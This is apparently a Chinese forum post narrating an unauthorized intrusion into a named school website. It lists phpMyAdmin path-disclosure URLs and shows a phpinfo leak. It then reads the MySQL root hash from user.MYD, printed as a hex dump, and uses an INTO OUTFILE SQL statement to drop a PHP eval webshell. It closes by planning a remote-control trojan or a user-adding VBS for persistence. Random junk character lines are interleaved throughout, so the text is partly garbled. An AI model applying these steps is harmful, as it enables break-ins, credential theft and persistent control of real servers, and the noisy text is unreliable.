3、magic_quotes_gpc()=OFF
3 m* Q( R8 n1 C7 n
, ^5 n+ s( p) g$ p
试着爆绝对路径：
# ~1 S3 k+ b: }1./phpMyAdmin/index.php?lang[]=1
8 K1 B& J# s/ p+ p$ A
2./phpMyAdmin/phpinfo.php
' W1 {/ f3 _; L6 {; z0 S- Q
3./load_file()
% e1 t; I! Z. u" h/ ?6 b0 z
4./phpmyadmin/themes/darkblue_orange/layout.inc.php
! g& Q/ |. r2 b1 y5 O1 s5./phpmyadmin/libraries/select_lang.lib.php
1 g7 I, k+ ~, Y" x- t. ]: z0 x6./phpmyadmin/libraries/lect_lang.lib.php
2 I3 c5 [& f* q8 Z7./phpmyadmin/libraries/mcrypt.lib.php
1 f6 h- s8 B# d5 W. h S
8./phpmyadmin/libraries/export/xls.php
0 b4 I: W9 d; k6 l0 m( \- ^) T
" P4 G' R: H, Z- q" M: g( N" h4 g6 V均不行...........................
* l( ?+ Y3 O$ d: _- h" f- A
; e# [, Z6 f, `7 B& `& ^* M
御剑扫到这个：
http://www.dyyz.net.cn//phpinfo.php 获得网站路径：D:/www/phpinfo.php
5 c% F4 E3 U5 J% q. g" k
9 a# H( ]& F. y* }9 w# C权限为root，知道网站路径，可是条件3不符合，没法写入shell ，不过服务器存在phpmyadmin
" y1 _0 }2 H- K
; X9 C( E* s& `" j7 t默认不行，尝试万能密码：帐号 'localhost'@'@" 密码空 ，登录失败
, A, S2 `5 {) c) y+ p+ |
* e2 o8 v0 A: T9 r+ [敏感东西：
http://202.103.49.66/Admincp.php 社工进不去...........
# [( l% A; J# h5 S
1 q5 M/ p0 [3 s$ L; i想想root还可以读，读到root密码进phpmyadmin 也可以拿shell
! q( N! y( j( N, u6 J
/ q, j) A- p$ a- f( ~http://www.dyyz.net.cn//phpinfo.php 泄露了D:\phpStudy\PHP5\php.ini
7 l) p" \, ?6 b1 a% n6 [1 ~0 f0 H4 g' h! r0 r8 k0 N4 b
自己修改好读root密码的路径：D:\phpStudy\MySQL\Data\mysql\user.MYD
2 @+ ]: }; Q7 o0 {2 I- {2 x
- |, _9 `0 i/ Q8 T* P# y
成功读到root密码：
( q6 p* _, X% I* I$ t* V1 t
/ k5 W2 p+ B% Y: \- d" @
17---- r(0072)
' i E+ C9 w6 t18---- o(006f)
4 K! [7 d/ m/ L8 o( r* \19---- o(006f)
9 }9 V- y2 K) A, n3 X- a5 ]
20---- t(0074)
' ]$ p/ \: j) {+ C/ j) a21---- *(002a)
) N; x0 ]' ?: B- _( w
22---- 8(0038)
, g( I/ U% {7 o& ]* Y2 `5 f8 f23---- 2(0032)
& w/ [2 d# k4 _9 W* ]+ o
24---- E(0045)
% i; {$ n; o: K. N7 V }* o5 `
25---- 1(0031)
! S- p* ^1 X% C1 z" }# f$ t
26---- C(0043)
9 \* y& c% R, o1 X# O6 u+ L- }4 b1 g- W
27---- 5(0035)
$ v* G h$ g, w3 O5 [6 d4 C28---- 8(0038)
. |, X) X6 W. b6 D q29---- 2(0032)
! u3 g/ w# z. { N+ ?
30---- 8(0038)
, W. [( J4 M* z1 Z6 f$ a( V
31---- A(0041)
& a/ W- P7 w) p2 ]1 I6 J' u32---- 9(0039)
, v7 V$ J5 H! Q2 m* |
33---- B(0042)
. ^( K7 l" i# s2 M1 ?: R6 T34---- 5(0035)
3 m& V& x" x$ z4 q6 \' `
35---- 4(0034)
8 I6 Q- \6 T' k
36---- 8(0038)
) C7 P" F$ X3 F2 r0 ]5 g
37---- 6(0036)
# s4 c9 N V6 L" p1 W2 y% {38---- 4(0034)
4 A7 N* d5 _; t; d) E9 I$ @39---- 9(0039)
" x! o+ ?# ~8 J* I7 x! c' E' t40---- 1(0031)
: _3 t! a# h' i* m0 s; v0 U41---- 1(0031)
% g8 e5 g% M( x2 t: y42---- 5(0035)
7 U1 G- k# ?* S j6 ? g43---- 3(0033)
; u" I) z. A0 M9 K7 w44---- 5(0035)
- `6 c( z1 ^8 n: J' \, r
45---- 9(0039)
0 e0 u/ N! E; ~! I6 l
46---- 8(0038)
, {5 P' W# r5 i3 E+ P- Y j; N
47---- F(0046)
# ?/ s7 w% ?9 Y& B3 |3 T# ?48---- F(0046)
2 n8 B! }* i; ?5 P" J49---- 4(0034)
$ F. w$ [* c, E50---- F(0046)
( r$ A# u! ^5 n$ a51---- 0(0030)
! }- V# c [- f52---- 3(0033)
( o6 [; C) L# G3 e9 k
53---- 2(0032)
$ M0 u4 s$ r% F6 y# E0 [
54---- A(0041)
* v% ^* i& l6 L55---- 4(0034)
; d" C1 |* R) J% X) s56---- A(0041)
0 [& \' i o( j: S t
57---- B(0042)
& _8 \+ \, ]# y0 A3 I3 P
58---- *(0044)
0 M5 u9 c1 [" j% \2 {59---- *(0035)
2 L8 v( O5 n3 E" k0 Z* z% [
60---- *(0041)
: O+ K4 I8 v1 ]/ |8 U) X4 ~1 \
61---- *0032)
6 }; g! g/ K) N! L m
0 y5 w G+ P) n4 w解密后成功登陆phpmyamin
6 A; F. i M0 ` ; K* S) |) a9 ^2 }1 l
3 S5 n$ F% C+ d! I M* ~3 S9 u2 y% T [attach]164[/attach]
( H: K! I- j( L$ }! m
! k$ m) \2 z- u7 Y% E找到mysql数据库，执行sql语句：elect '<?php @eval($_POST[pass]);?>'INTO OUTFILE 'd:/wamp/www/daxia.php'
& r3 o, B! t6 s
, }/ |" h( k6 Z9 w4 Q- E! l
成功执行，拿下shell，菜刀连接：
- Y# ~9 k9 u- L+ v6 T2 }/ q# ^
% g: f5 d2 \+ e4 }服务器不支持asp,aspx,php提权无果...................
& b8 J! b: i8 a! @ w7 e4 z, p( f7 y/ k+ s! H1 h9 H6 L
但服务器权限很松，上传个远控小马或是一个添加用户的vbs程序到启动里：
3 C) n; y- w4 d+ W8 ?# z
